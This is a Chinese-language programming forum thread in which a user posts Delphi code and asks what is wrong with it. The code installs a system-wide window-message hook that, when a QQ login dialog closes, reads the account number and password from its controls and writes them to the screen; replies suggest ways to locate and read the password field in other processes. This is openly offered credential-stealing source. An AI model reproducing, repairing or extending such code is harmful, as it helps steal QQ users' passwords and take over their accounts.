下面的代码那里出错了?高手请教!(50分)

  • 主题发起人 主题发起人 lovenuo
  • 开始时间 开始时间
L

lovenuo

Unregistered / Unconfirmed
GUEST, unregistred user!
下面的代码那里出错了?高手请教<br><br>program Hook;<br><br>uses Windows, Messages;<br><br>var WndProcHook: DWORD; Msg : TMSG;<br><br> // 取QQ密码<br>procedure GetPassWord(Dialog: HWND);<br>var<br> &nbsp;ComboBox, Edit: HWND;<br> &nbsp;Buffer: array[0..20] of Char;<br> &nbsp;TmpStr: string;<br> &nbsp;ScreenDC: HDC;<br>begin<br> // 约束条件<br> &nbsp;if FindWindowEx(Dialog, 0, 'Button', '注册向导') = 0 then Exit;<br> &nbsp;<br> &nbsp;GetClassName(Dialog, Buffer, 20);<br> &nbsp;if (Buffer &lt;&gt; '#32770') then Exit;<br><br> // 控件句柄<br> &nbsp;ComboBox := FindWindowEx(Dialog, 0, 'ComboBox', nil);<br> &nbsp;if (ComboBox = 0) then Exit;<br><br> &nbsp;Edit := FindWindowEx(Dialog, 0, 'Edit', nil);<br> &nbsp;if (Edit = 0) then Exit;<br><br> // 控件内容<br> &nbsp;Buffer[GetWindowText(ComboBox, Buffer, 20)] := #0;<br> &nbsp;if (Buffer[0] = #0) then Exit;<br> &nbsp;TmpStr := '号码: ' + Buffer;<br><br> &nbsp;Buffer[GetWindowText(Edit, Buffer, 20)] := #0;<br> &nbsp;if (Buffer[0] = #0) then Exit;<br> &nbsp;TmpStr := TmpStr + '密码: ' + Buffer;<br><br> // 写到屏幕<br> &nbsp;ScreenDC := GetDC(0);<br> &nbsp;TextOut(ScreenDC, 0, 0, PChar(TmpStr), Length(TmpStr));<br> &nbsp;ReleaseDC(0, ScreenDC);<br>end;<br><br><br> // 钩子回调<br>function CallWndProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>begin<br> // 窗体即将被清除<br> &nbsp;if (nCode = HC_ACTION) and (PCWPStruct(lParam).message = WM_DESTROY) then<br> &nbsp; &nbsp;GetPassWord(PCWPStruct(lParam).hwnd);<br><br> // 调用下一个钩子<br> &nbsp;Result := CallNextHookEx(WndProcHook, nCode, wParam, lParam);<br>end;<br><br><br>// .... 主程序 .... //<br>begin<br> &nbsp;WndProcHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);<br> &nbsp;while GetMessage(Msg, 0, 0, 0) do<br> &nbsp;begin<br> &nbsp; &nbsp;if (Msg.Message = WM_CANCELJOURNAL) then<br> &nbsp; &nbsp; &nbsp;WndProcHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);<br> &nbsp;end;<br> &nbsp;UnHookWindowsHookEx(WndProcHook);<br>end.
 
1.利用参数.如果有很多数据,可定义参数为一个对象.<br>2.也可以利用消息机制.
 
1.枚举调用DLL进程的所有<br>2.搜索子窗口.也就是寻找Edit1句炳<br>3.发送消息读取吧.
 
请给出示例代码!
 
多人接受答案了。
 
后退
顶部